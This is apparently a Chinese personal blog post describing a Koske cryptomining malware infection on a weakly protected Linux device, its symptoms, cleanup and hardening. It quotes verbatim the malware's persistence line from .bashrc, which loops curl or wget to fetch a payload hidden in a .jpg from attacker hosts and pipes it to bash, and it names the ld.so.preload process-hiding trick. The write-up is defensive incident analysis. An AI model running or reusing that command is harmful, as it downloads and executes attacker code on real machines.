koske 恶意软件

Last updated on February 8, 2026 pm

koske 恶意软件

入侵表现

在去年的一天,我发现某个含有弱密码的设备使用 sudo 时输入密码后一直提示密码错误,然后发现 root 也无法登录了。

查看 /etc/passwd 的修改日期,发现最近有过修改。chage -l 命令的输出也确认了这一点。

查看文件系统,发现有 /xmrig1/xmrig2 目录,其中包括了在 x86 和 ARM 下的 xmrig 挖矿程序。你可能还会观察到 xmrig 正在运行。

查看日志,发现 bash history、/var/log/apt/history.log、systemd journal 等都被清除了。

重启后,服务初始化时有:

1
2
[  OK  ] Started Koske Mining Background Script.
shellkoske.service

实际上我重启后有个报错 ERROR: ld.so: object '/dev/shm/hideproc.so' from /etc/ld.so.preload cannot be preloaded (cannot open shared object file): ignored.

搜索一下,至此已经确定是中了 koske 恶意软件的攻击。在 .bashrc 等发现恶意脚本的形式大致为:

1
nohup bash -c 'OFFSET=58101; while true; do if command -v curl >/dev/null 2>&1; then if curl -k --output /dev/null --silent --head --fail "https://k0ske1.short.gy/panda_v14.jpg"; then curl -k -fsL --range \58101- "https://k0ske1.short.gy/panda_v14.jpg" | bash; elif curl -k --output /dev/null --silent --head --fail "https://tini.fyi/panda_v14.jpg"; then curl -k -fsL --range \58101- "https://tini.fyi/panda_v14.jpg" | bash; else notify-send "Nijedan link nije dostupan"; fi; elif command -v wget >/dev/null 2>&1; then if wget --no-check-certificate --spider -q "https://k0ske1.short.gy/panda_v14.jpg"; then wget --no-check-certificate --header="Range: bytes=\58101-" -qO- "https://k0ske1.short.gy/panda_v14.jpg" | bash; elif wget --no-check-certificate --spider -q "https://tini.fyi/panda_v14.jpg"; then wget --no-check-certificate --header="Range: bytes=\58101-" -qO- "https://tini.fyi/panda_v14.jpg" | bash; else notify-send "Nijedan link nije dostupan"; fi; else notify-send "curl i wget nisu instalirani"; fi; sleep 10; done' &

清除威胁

由于已经被爆破,我首先切断了网络连接,以防攻击者进一步的操作。

由于该设备可以从 eMMC 或 SD 卡启动,且优先从 SD 卡启动,我插入含有另一个系统的 SD 卡后成功进入系统(需要清除 SPI Flash),然后挂载 eMMC 并把 /etc/passwd/etc/shadow 恢复了备份的版本(有个 /etc/passwd-/etc/shadow-)。如果你是 PC 等可以用 grub 等修改启动参数的,可以直接用“单用户模式”重新取得 root 权限。

检查仅存的 apt log,该软件安装了 clinfo 和 tmate,直接卸载。

删除新增的 koske 用户。

systemd 删除 shellkoske.service

删除 /xmrig1/xmrig2

在各个目录中以 koskek0ske 为关键字搜索,大致需要删除的有:

删除 ~/.bashrc.koske,还原 ~/.bashrc~/.bash_logout,去掉攻击者加的东西。(如果有其他用户比如 root,也要检查其对应的目录下有无恶意脚本,根目录也要看一下,下同)

删除 ~/.config/autostart/scheduler.desktop 里的自启脚本。

删除 /etc/ld.so.preload 里的 /dev/shm/hideproc.so,我这里的 /dev/shm 是不会持久化的,如果你还有这个 hideproc.so,也需要删除。

删除 /etc/rc.local 里的恶意脚本。

如果 /var/spool/cron/crontabs/ 下定时任务有恶意脚本的话,需要将其删除。

由于攻击过去一段时间了,可能我也记不清楚了,可以询问 DeepSeek 等获取清除恶意脚本的检查建议。

HOME 下还留了个 tmate-2.4.0-static-linux-i386,说实话我不知道为什么它要装这个。

还要检查 authorized_keys 看看有没有可疑的公钥,不过我好像没找到。

全都清除完后,重启,再 grep 一下看看有没有恶意软件残留。

安全防护

更新系统。

修改密码。

SSH 使用仅公钥登录,禁用 root 用户的 SSH 登录。

总结

听说该软件是 AI 生成的,现在 AI Agent 已经可以这样的恶意软件了,着实让我吃了一惊。


koske 恶意软件
https://zhaozihanzzh.github.io/2026/02/08/koske-malware/
Author
zhaozihanzzh
Posted on
February 8, 2026
Licensed under